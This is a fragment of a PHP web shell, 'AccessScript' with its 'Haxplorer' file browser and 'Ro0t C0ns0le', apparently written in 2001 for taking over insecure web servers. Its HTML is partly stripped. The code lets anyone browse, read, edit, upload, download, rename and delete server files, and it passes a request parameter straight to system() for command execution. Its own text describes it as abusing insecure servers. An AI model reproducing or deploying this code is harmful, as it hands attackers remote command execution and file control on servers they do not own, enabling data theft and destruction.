=4); $scriptTitle = "AccessScript"; $scriptident = "$scriptTitle by Macker"; $scriptdate = "31-10-2001"; $scriptver = "2.1"; $linkfontsize = "12px"; $bodyfontsize = "12px"; $tablefontsize = "12px"; $editimg = "img/edit.JPG"; $editalt = "Edit"; $downlimg = "img/download.JPG"; $downlalt = "Download"; $uplimg = "img/upload.JPG"; $uplalt = "Upload"; $delimg = "img/delete.JPG"; $delalt = "Delete"; $viewimg = "img/view.JPG"; $viewalt = "View"; $renimg = "img/rename.JPG"; $renalt = "Rename"; $moveimg = "img/move.JPG"; $movealt = "Move"; $copyimg = "img/copy.JPG"; $copyalt = "Copy"; $execimg = "img/exec.JPG"; $execalt = "Execute"; // function spacetonbsp($instr) { return str_replace(" ", " ", $instr); } function formatsize($insize) { $size = $insize; $add = "B"; if ($size > 1024) { $size = intval(intval($size) / 1.024)/1000; $add = "KB"; } if ($size > 1024) { $size = intval(intval($size) / 1.024)/1000; $add = "MB"; } if ($size > 1024) { $size = intval(intval($size) / 1.024)/1000; $add = "GB"; } if ($size > 1024) { $size = intval(intval($size) / 1.024)/1000; $add = "TB"; } return "$size $add"; } // \n"; echo "\n"; echo "$scriptTitle\n"; echo "\n"; // echo "\n"; // echo "\n"; // echo "\n"; // echo ""; echo "\n"; } else // { // if ( @is_readable("$dir/$file") ) { echo "\n"; } else { echo "\n"; } // echo "\n"; // echo "\n"; // echo "\n"; // echo ""; echo "\n"; } // //$fncres = @chmod( "$dir/$file", 0777 ); } echo "
\n"; echo "
\n
$scriptident - $scriptver - $scriptdate

\n"; } // --> // if (function_exists('array_merge')) {$filelist = array_merge ($dirn, $filen);} else {$filelist = $dirn+$filen;} while (list ($key, $file) = each ($filelist)) { if (is_dir("$dir/$file")) // { // echo "
   [$file]             \n"; if ( @is_readable("$dir/$file") ) { echo "R"; } if (function_exists('is_writeable')) {if ( @is_writeable("$dir/$file") ) { echo "W"; }} else { echo "(W)"; } if ( @is_executable("$dir/$file") ) { echo "X"; } echo "   
   $file         
   $file         
  \n"; // echo "\"$renalt\"   \n"; // if ( (@is_writeable("$dir/$file")) && (@is_readable("$dir/$file")) ) { echo "\"$editalt\"   \n"; } // echo "\"$copyalt\"\n"; // if ( (@is_writeable("$dir/$file")) && (@is_readable("$dir/$file")) ) { echo "   \"$movealt\"\n"; } // echo "   \"$delalt\"\n"; // echo "   \"$downlalt\"\n"; // if ( @is_executable("$dir/$file") ) { echo "   \"$execalt\"\n"; } // echo "  
\n"; $size = @filesize("$dir/$file"); $add = "B"; If ($size != false) { echo "  ".formatsize($size).""; } else { echo "  0 B"; } echo "    \n"; if ( @is_readable("$dir/$file") ) { echo "R"; } if ( @is_writeable("$dir/$file") ) { echo "W"; } if ( @is_executable("$dir/$file") ) { echo "X"; } if (function_exists('is_uploaded_file')) { if ( @is_uploaded_file("$dir/$file") ) { echo "U"; } } else {echo "(U)";} echo "  \n"; echo "  ".date("D d-m-Y H:i:s", filemtime("$dir/$file"))."  "; echo "
\n
\n"; echo "  ".@count ($dirn)." Dir(s), ".@count ($filen)." File(s)  \n"; echo "\n"; echo "  Total filesize: ".formatsize($filesizes)."  
\n"; echo "
"; if ($isGoodver) {echo "\n";} else {echo "\n";} // echo "\n"; echo "\n"; echo "\n"; echo "\n"; echo "\n"; echo ""; echo "
 Server's PHP Version:    $PHPVer 
 Server's PHP Version:    $PHPVer (Some functions might be unavailable...) 
 Other actions:    | New File |\n   | New Directory |\n   | Upload a File |\n
 Script Location:    $PATH_TRANSLATED
 Your IP:    $REMOTE_HOST 
 Browsing Directory:   $partdir 
 Legend:  \n"; echo ""; echo "\n"; echo "\n"; echo "\n"; echo "\n"; echo "
R:  Readable.
W:  Writeable.
X:  Executable.
U:  HTTP Uploaded File.
"; echo "
"; @closedir($h); } elseif ( $cmd=="execute" ) // { echo system("$file"); } elseif ( $cmd=="delfile" ) // { echo "
"; } elseif ( $cmd=="newfile" ) // { echo "
" ; if ($auth == "yes") { if (@unlink($file)==false) { echo "Could not remove \"$file\"
"; } else { echo "Successfully removed \"$file\"
"; } echo "
"; } else { echo "Are you sure you want to delete \"$file\" ?
"; } echo "
"; $i = 1; while (file_exists("$lastdir/newfile$i.txt")) { $i++; } $file = fopen("$lastdir/newfile$i.txt", "w+"); if ($file == false) { echo "Could not create the new file...
"; } else { echo "Successfully created: \"$lastdir/newfile$i.txt\"
"; } echo "
"; } elseif ( $cmd=="newdir" ) // { echo "
" ; $i = 1; while (is_dir("$lastdir/newdir$i")) { $i++; } $file = mkdir("$lastdir/newdir$i", 0777); if ($file == false) { echo "Could not create the new directory...
"; } else { echo "Successfully created: \"$lastdir/newdir$i\"
"; } echo "
"; } elseif ( $cmd=="edit" ) // { $contents = ""; $fc = @file( $file ); while ( @list( $ln, $line ) = each( $fc ) ) { $contents .= htmlentities( $line ) ; } echo "
"; echo "
\n"; echo "\n"; echo "EDIT FILE: $file
\n"; echo "
\n"; echo "\n"; echo ""; echo "
"; echo "
"; } elseif ( $cmd=="saveedit" ) // { $fo = fopen($file, "w"); $wrret = fwrite($fo, stripslashes($contents)); $clret = fclose($fo); } elseif ( $cmd=="downl" ) // { $downloadfile = urldecode($file); if (function_exists("basename")) {$downloadto = basename ($downloadfile);} else {$downloadto = "download.ext";} if (!file_exists("$downloadfile")) {echo "The file does not exist";} else { $size = @filesize("$downloadfile"); If ($size != false) { $add="; size=$size"; } else { $add=""; } header("Content-Type: application/download"); header("Content-Disposition: attachment; filename=$downloadto$add"); $fp=fopen("$downloadfile" ,"rb"); fpassthru($fp); flush(); } } elseif ( $cmd=="upload" ) // { echo "
Welcome to the upload section... Please note that the destination file will be\n
overwritten if it already exists!!!

Select local file:


"; } elseif ( $cmd=="uploadproc" ) // { echo "
"; if (file_exists($userfile)) { $res = copy($userfile, "$dir/$userfile_name"); } echo "Uploaded \"$userfile_name\" to \"$userfile\";
\n"; if ($res) { echo "Successfully moved \"$userfile\" to \"$dir/$userfile_name\".\n

"; echo "Local filename: \"$userfile_name\".\n
Remote filename: \"$userfile\".\n
"; echo "Filesize: ".formatsize($userfile_size).".\n
Filetype: $userfile_type.\n
"; } else { echo "Could not move uploaded file; Action aborted..."; } echo "
" ; echo "

"; } elseif ( $cmd=="file" ) // { $fc = @file( $file ); while ( @list( $ln, $line ) = each( $fc ) ) { echo spacetonbsp(@htmlentities($line))."
\n"; } } elseif ( $cmd=="ren" ) // { if (function_exists('is_dir')) { if (is_dir("$oldfile")) { $objname = "Directory"; $objident = "Directory"; } else { $objname = "Filename"; $objident = "file"; } } echo "
 Rename a file: 

\n"; If (empty($newfile) != true) { echo "
"; $return = @rename($oldfile, "$olddir$newfile"); if ($return) { echo "$objident renamed successfully:

Old $objname: \"$oldfile\".
New $objname: \"$olddir$newfile\""; } else { if ( @file_exists("$olddir$newfile") ) { echo "Error: The $objident does already exist...

\"$olddir$newfile\"

Hit your browser's back to try again..."; } else { echo "Error: Can't copy the file, the file could be in use or you don't have permission to rename it."; } } echo "
" ; } else { $dpos = strrpos($oldfile, "/"); if (strval($dpos)!="") { $olddir = substr($oldfile, 0, $dpos+1); } else { $olddir = "$lastdir/"; } $fpos = strrpos($oldfile, "/"); if (strval($fpos)!="") { $inputfile = substr($oldfile, $fpos+1); } else { $inputfile = ""; } echo "
\n"; echo "\n"; echo "\n"; echo "\n"; echo "\n"; echo "\n"; echo "Rename \"$oldfile\" to:
\n"; echo "
"; echo "
"; echo "
"; } } else // { $isMainMenu = true; echo "
 -<[{ $scriptTitle Main Menu }]>- 

\n"; echo "
"; echo ""; echo ""; echo ""; echo ""; echo ""; echo ""; echo "
"; echo "  --> Haxplorer <--  Haxplorer is a server side file browser wich (ab)uses the directory object to reveil the files and directories upon a webserver. This handy tools allows you to manage files and directories on a unsecure server with php support.

This entire script is coded for unsecure servers, if your server is secured the script will hide commands or will even return errors to your browser...

"; echo "  --> Ro0t C0ns0le <--  --OUT OF ORDER--
Ro0t C0ns0le is just a little function that allows you to perform system command on the webserver. If you're using a linux server, system commands such as ls and shred will be available for you...

This function also depends on an unsecure server with php support.

"; echo "  --> Haxplorer <--  Haxplorer is a server side file browser wich (ab)uses the directory object to reveil the files and directories upon a webserver. This handy tools allows you to manage files and directories on a unsecure server with php support.

This entire script is coded for unsecure servers, if your server is secured the script will hide commands or will even return errors to your browser...


"; } if ($cmd != "downl"){ if ( $isMainMenu != true) { echo "\n
\n"; echo "  [ Main Menu ]  \n"; echo "  [ Haxplorer ]  \n"; echo "

\n"; } echo "\n
\n
 $scriptident - $scriptver - $scriptdate 
\n"; echo ""; } ?>